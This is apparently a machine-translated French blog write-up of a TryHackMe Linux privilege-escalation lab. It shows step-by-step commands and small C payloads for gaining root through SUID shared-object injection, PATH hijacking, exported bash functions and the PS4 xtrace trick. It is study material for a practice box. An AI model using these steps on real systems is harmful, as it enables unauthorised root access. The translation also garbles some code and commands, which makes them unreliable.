[TryhackMe] Amélioration des privilèges à l'aide de fichiers exécutables SUID / SGID! Linux PRIVEUP PARTIE 7

[TryhackMe] Amélioration des privilèges à l'aide de fichiers exécutables SUID / SGID! Linux PRIVEUP PARTIE 7

Cette fois, nous essaierons "d'élévation des privilèges à l'aide d'exécutables SUID / SGID (à l'exclusion des exploits connus)".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 7.
Si vous souhaitez consulter l'écriture pour Linux PRIVSC avec TryhackMe, veuillez également consulter l'élévation du privilège en utilisant la vulnérabilité dans Exim 4.84.3

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
table des matières

Préparation

Tout d'abord, démarrez la machine cible.
Si vous utilisez TryhackMe, sélectionnez "Démarrer la machine".

Si l'adresse IP s'affiche comme indiqué ci-dessous, vous pouvez le démarrer!

Cette fois, l'escalade du privilège se produira après avoir pu vous connecter à la machine cible, alors vérifiez au point où vous pouvez vous connecter via SSH.

┌── (hackLab㉿hackLab) - [~] └─ $ ssh user@10.10.52.40 user@10.10.52.40's Mot de passe: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 x86_64 Les programmes inclus avec le système GNU / Linux Debian / Linux sont libres; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: dimanche 9 avril 08:54:59 2023 de IP-10-11110-90.eu-west-1.compute.internal user @ debian: ~ $

Une fois que vous avez accès, la préparation à l'avance est terminée.

Executiles SUID / SGID - Injection d'objets partagés

Essayez de partager l'injection d'objets pour les exécutables SUID.

Tout d'abord, vérifiez tous les fichiers exécutables SUID / SGID sur la machine cible.

user @ debian: ~ $ find / -Type f -a \ (-perm -u + s -o -perm -g + s \) -exec ls -l {} \; 2> / dev / null -rwxr-sr-x 1 root shadow 19528 15 février 2011 / usr / bin / expiry -rwxr-sr-x 1 root ssh 108600 avr 2 2014 / usr / bin / ssh-agent -rwsr-xr-x 1 racine root 37552 Feb 15 2011 / usr / bin / chle-ch -rwsr-xr -x 2 Root 2011 / usr / bin / chle -rwsr-xr -x 2 ROORO 168136 5 janvier 2016 / usr / bin / sudo -rwxr-sr-x 1 root tty 11000 17 juin 2010 / usr / bin / bsd-write -rwxr-sr-x 1 root crontab 35040 décembre 18 2010 / usr / bin / crontab -rwsr-xr-x 1 racine root 32808 fév 15 2011 / usr / bin / bin / nouveau -rwsr-xr-x 2 racine racine 168136 5 janvier 2016 / usr / bin / sudoedit -rwxr-sr-x 1 root shadow 56976 15 févr / usr / bin / gpasswd -rwsr-xr-x 1 racine racine 39856 15 février 2011 / usr / bin / chfn -rwxr-sr-x 1 root tty 12000 25 janvier 2011 / usr / bin / wall -rwsr-sr-x 1 root standard 9861 mai 14 2017 6883 14 mai 2017 / usr / local / bin / SUID-ENV -RWSR-SR-X 1 Root Staff 6899 14 mai 2017 / usr / bin / SUID-ENV2 -RWSR-XR-X / usr / lib / eject / dmcrypt-get-device -rwsr-xr-x 1 racine root 212128 avr 2 2014 / usr / lib / openssh / ssh-keysign -rwsr-xr-x 1 racine root 10592 fév 15 2016 / usr / lib / pt_chown -rwsr-xr-x 1 racine root 36640 oct 14 2010 / bin / ping6 -rwsr-xr-x 1 racine racine 34248 14 oct. 2010 / bin / ping -rwsr-xr-x 1 racine racine 78616 25 janvier 2011 / bin / mont -rwsr-xr-xr-x root root 34024 fév 15 2011 / bin / su -rwsr-xr-x 1 racine racine root 53648 janvier 25 / bin / UMUnt -rwxr-sr-x 1 root shadow 31864 17 oct 2011 / sbin / unix_chkpwd -rwsr-xr-x 1 racine root 94992 13 décembre 2014 /sbin/mount.nfs

"/ usr / local / bin / suid-so" est vulnérable à l'injection d'objets partagée.
Ne le manquez pas.

Ensuite, essayez d'exécuter "/ usr / local / bin / suid-so".
Dans cet état, une barre de progression apparaîtra.

Utilisateur @ debian: ~ $ / usr / local / bin / suid-so quelque chose, veuillez patienter ... [====>] 99%.

Exécutez ensuite Strace pour vérifier les erreurs ouvertes / accès et "pas de tels fichiers".

utilisateur @ debian: ~ $ strace / usr / local / bin / suid-so 2> & 1 | grep -ie "Ouvrir | Access | Aucun tel fichier" Access ("/ etc / suid-debug", f_ok) = -1 Enoent (pas de tel fichier ou répertoire) Access ("/ etc / ld.so.NOHWCAP", f_ok) = -1 Enoent (pas de tel fichier ou répertoire) Access ("/ etc / ldso Open ("/ etc / ld.so.cache", o_rdonly) = 3 Access ("/ etc / ld.so.nohwcap", f_ok) = -1 Enoent (pas de tel fichier ou répertoire) Open ("/ lib / libdl.so.2", o_rdonly) = 3 Access ("/ etc / ld.so.Nohwcap", f_ok) = -1 (nO ou répertoire) Open ("/ usr / lib / libstdc ++. So.6", o_rdonly) = 3 Access ("/ etc / ld.so.nohwcap", f_ok) = -1 Enoent (pas de tel fichier ou répertoire) Open ("/ lib / libm.so.6", o_rdonly) = 3 Access ("/ etc / ld.so. = -1 Enoent (pas de tel fichier ou répertoire) Open ("/ lib / libgcc_s.so.1", o_rdonly) = 3 Access ("/ etc / ld.so.nohwcap", f_ok) = -1 Enoent (pas de fichier ou répertoire) open ("/ lib / libc.so.6", o_rdonly) = 3 Open ("/ home / user / .config / libcalc.so", o_rdonly) = -1 Enoent (pas de fichier ou de répertoire)

Notez que vous essayez de charger /home/user/.config/libcalc.so dans votre répertoire domestique

Placez l'objet partagé qui génère le bash dans
ce " /home/user/.config/libcalc.so Le code qui génère Bash ressemble à ceci:

utilisateur @ debian: ~ $ mkdir /home/user/.config utilisateur @ debian: ~ $ cat /home/user/tools/suid/libcalc.c #include<stdio.h> #inclure<stdlib.h> statique void inject () __attribute __ ((constructeur)); void inject () {setuid (0); système ("/ bin / bash -p"); }

Compilons votre code dans un objet partagé.

Utilisateur @ debian: ~ $ gcc -shared -fpic -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c User @ debian: ~ $ ll .config total 8 -rwxr-xr-x 1 utilisateur 6134 avr 9 10:31 libcalc.so

Si vous exécutez "/ usr / local / bin / suid-so" à nouveau dans cet état, vous verrez Bash avec les privilèges racine, pas la barre de progression.

Utilisateur @ debian: ~ $ / usr / local / bin / suid-so quelque chose, veuillez patienter ... bash-4.1 # whoami root

Executiles SUID / SGID - Variables d'environnement

Encore une fois, vérifiez le fichier exécutable SUID / SGID sur la machine cible.
La prochaine cible est "/ usr / local / bin / suid-env".

user @ debian: ~ $ find / -Type f -a \ (-perm -u + s -o -perm -g + s \) -exec ls -l {} \; 2> / dev / null -rwxr-sr-x 1 root shadow 19528 15 février 2011 / usr / bin / expiry -rwxr-sr-x 1 root ssh 108600 avr 2 2014 / usr / bin / ssh-agent -rwsr-xr-x 1 racine root 37552 Feb 15 2011 / usr / bin / chle-ch -rwsr-xr -x 2 Root 2011 / usr / bin / chle -rwsr-xr -x 2 ROORO 168136 5 janvier 2016 / usr / bin / sudo -rwxr-sr-x 1 root tty 11000 17 juin 2010 / usr / bin / bsd-write -rwxr-sr-x 1 root crontab 35040 décembre 18 2010 / usr / bin / crontab -rwsr-xr-x 1 racine root 32808 fév 15 2011 / usr / bin / bin / nouveau -rwsr-xr-x 2 racine racine 168136 5 janvier 2016 / usr / bin / sudoedit -rwxr-sr-x 1 root shadow 56976 15 févr / usr / bin / gpasswd -rwsr-xr-x 1 racine racine 39856 15 février 2011 / usr / bin / chfn -rwxr-sr-x 1 root tty 12000 25 janvier 2011 / usr / bin / wall -rwsr-sr-x 1 root standard 9861 mai 14 2017 6883 14 mai 2017 / usr / local / bin / SUID-ENV -RWSR-SR-X 1 Root Staff 6899 14 mai 2017 / usr / bin / SUID-ENV2 -RWSR-XR-X / usr / lib / eject / dmcrypt-get-device -rwsr-xr-x 1 racine root 212128 avr 2 2014 / usr / lib / openssh / ssh-keysign -rwsr-xr-x 1 racine root 10592 fév 15 2016 / usr / lib / pt_chown -rwsr-xr-x 1 racine root 36640 oct 14 2010 / bin / ping6 -rwsr-xr-x 1 racine racine 34248 14 oct. 2010 / bin / ping -rwsr-xr-x 1 racine racine 78616 25 janvier 2011 / bin / mont -rwsr-xr-xr-x root root 34024 fév 15 2011 / bin / su -rwsr-xr-x 1 racine racine root 53648 janvier 25 / bin / UMUnt -rwxr-sr-x 1 root shadow 31864 17 oct 2011 / sbin / unix_chkpwd -rwsr-xr-x 1 racine root 94992 13 décembre 2014 /sbin/mount.nfs

Tout d'abord, essayons honnêtement.

user @ debian: ~ $ / usr / local / bin / suid-env [...] Démarrage du serveur Web: apache2httpd (PID 1773) déjà en cours d'exécution. d'accord 

J'ai essayé de démarrer Apache2, mais il semble qu'il a déjà commencé.

Ensuite, affichons le contenu de SUID-ENV qui peut être lu comme une chaîne.
Strings est la commande qui peut y parvenir.

Utilisateur @ debian: ~ $ Strings / USR / Local / bin / SUID-ENV /LIB64/LD-LINUX-X86-64.SO.2 5Q; XQ __GMON_START__ LIBC.SO.6 SetResgid SetResuid System __LIBC_START_MAIN GLIBC_2.5 FFF. fffff. l $ l t $ (l | 0h Service apache2 start

Ce qui doit être noté ici, c'est que le service pour "Service Apache2 Start" n'est pas entièrement chargé.
En d'autres termes, si vous ajoutez un chemin et placez un objet commun appelé Serivce, il sera possible de l'exécuter.

Tout d'abord, notez le code pour créer un objet commun.

user @ debian: ~ $ cat /home/user/tools/suid/service.c int main () {setuid (0); système ("/ bin / bash -p"); }

Compilez le code ci-dessus pour créer un objet commun appelé service.

utilisateur @ debian: ~ $ gcc -o service /home/user/tools/suid/service.c utilisateur @ debian: ~ $ ll Total 16 -rw-r - r-- utilisateur utilisateur 212 mai 15 mai 2017 myvpn.ovpn -rwxr-xr-x 1 utilisateur utilisateur 6697 avr

Une fois que vous avez terminé, exécutez le répertoire contenant le service ci-dessus comme variable d'environnement.

utilisateur @ debian: ~ $ path = .: $ path / usr / local / bin / suid-env root @ debian: ~ # whoami root

Je pense que l'objet commun que vous venez de créer a été exécuté et que vous avez acquis des privilèges racine.

Executiles SUID / SGID - Abusant des fonctionnalités de shell (# 1)

Vérifiez le fichier exécutable SUID / SGID sur la machine cible.
Ensuite, nous ciblerons "/ usr / local / bin / suid-env2".

Tout d'abord, tout comme avant, vérifiez les cordes.

Utilisateur @ debian: ~ $ Strings / USR / Local / bin / SUID-ENV2 /LIB64/LD-LINUX-X86-64.SO.2 __GMON_START__ LIBC.SO.6 SetResgid SetResuid System __LIBC_START_MAIN GLIBC_2.2.5 FFF. fffff. l $ l t $ (l | $ 0h / usr / sbin / service apache2 start

Contrairement au précédent, c'est une passe absolue, il ne semble donc pas possible d'utiliser la même méthode qu'auparavant.
Cependant, si la version bash est 4.2-048 ou plus tôt, il existe une vulnérabilité dans laquelle un nom de fonction de shell est défini dans le chemin du fichier et l'exportation de la fonction provoque une fonction de shell avec le même nom que le chemin de fichier à exécuter à la place du fichier exécutable réel dans ce chemin de fichier.

Cette fois, je voudrais l'utiliser, alors commençons par regarder la version bash.

Utilisateur @ debian: ~ $ / bin / bash --version GNU Bash, version 4.1.5 (1) -release (x86_64-pc-linux-gnu) Copyright (c) 2009 Free Software Foundation, Inc. Licence GPLV3 +: GLU GPL Version 3 ou plus tard<http://gnu.org/licenses/gpl.html> Il s'agit d'un logiciel gratuit; Vous êtes libre de le changer et de le redistribuer. Il n'y a pas de garantie, dans la mesure permise par la loi.

Il a été confirmé qu'il est inférieur à 4,2-048.

Maintenant, créez une fonction appelée "/ usr / sbin / service" qui exécute le shell bash et exportez la fonction.

user @ debian: ~ $ function / usr / sbin / service {/ bin / bash -p; } utilisateur @ debian: ~ $ export -f / usr / sbin / service

Une fois que vous avez atteint cela, exécutez "/ usr / local / bin / suid-env2".

utilisateur @ debian: ~ $ / usr / local / bin / suid-env2 root @ debian: ~ # whoami root

J'ai également pu obtenir des privilèges racine.

Executiles SUID / SGID - Abusant des fonctionnalités de shell (# 2)

Si la version bash est de 4,4 ou plus, les privilèges racine peuvent également être élevés à l'aide de la variable d'environnement PS4.

Activer le débogage de bash et exécuter le fichier exécutable "/ usr / local / bin / suid-env2".
Créez la version SUID de / bin / bash dans / tmp / rootbash avec une variable PS4 définie sur la commande embedded.

Utilisateur @ debian: ~ $ env -i shellopts = xtrace ps4 = '$ (cp / bin / bash / tmp / rootbash; chmod + xs / tmp / rootbash)' / usr / local / bin / suid-env2 / usr / sbin / service apache2 start Basename / usr / sbin / service version = 'service ver. 0.91-UBUNTU1 'BASENAME / USR / SBIN / USAGE DE SERVICE =' USAGE: Service <Option> | --status-all | [Service_name [Commande | --full-restart]] 'service = action = Servicedir = / etc / init.d options =' ['2 -eq 0'] 'cd /' ['2 -gt 0'] 'case "$ {1}" dans' ['-z' '-a 2 -eq 1 -a apache2 = --status-all'] '' ['2 -eq 2 -a start = --full-raist' ']' Service = apache2 shift '[' 1 -gt 0 ']' case "$ {1}" dans '[' -z apache2 -a 1 -eq 1 -a start = --status-all ']' '' ['1 -eq 2 -a' '= --full-restart'] '' '[-z apache2'] '' [-z '' ''] ' '[' -r /etc/init/apache2.conf ']' '[' -x /etc/init.d/apache2 ']' Exec Env -i Lang = path = / usr / local / sbin: / usr / local / bin: / usr / sbin: / usr / bin: / usr / bin: / sbin: / bin term / dumb /etc/init.d/apan Serveur: apache2httpd (PID 1773) déjà en cours d'exécution.

Maintenant, je pense que vous avez créé / tmp / rootbash, alors exécutons-le.

utilisateur @ debian: ~ $ / tmp / rootbash -p rootbash-4.1 # whoami root

J'ai maintenant des privilèges de racine!

résumé

Cette fois, j'ai essayé "l'élévation du privilège (à l'exclusion des exploits connus) à l'aide d'Exécutables SUID / SGID".
J'ai encore réalisé que je ne devais garder la version aussi nouvelle que possible.

Références et sites

-

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières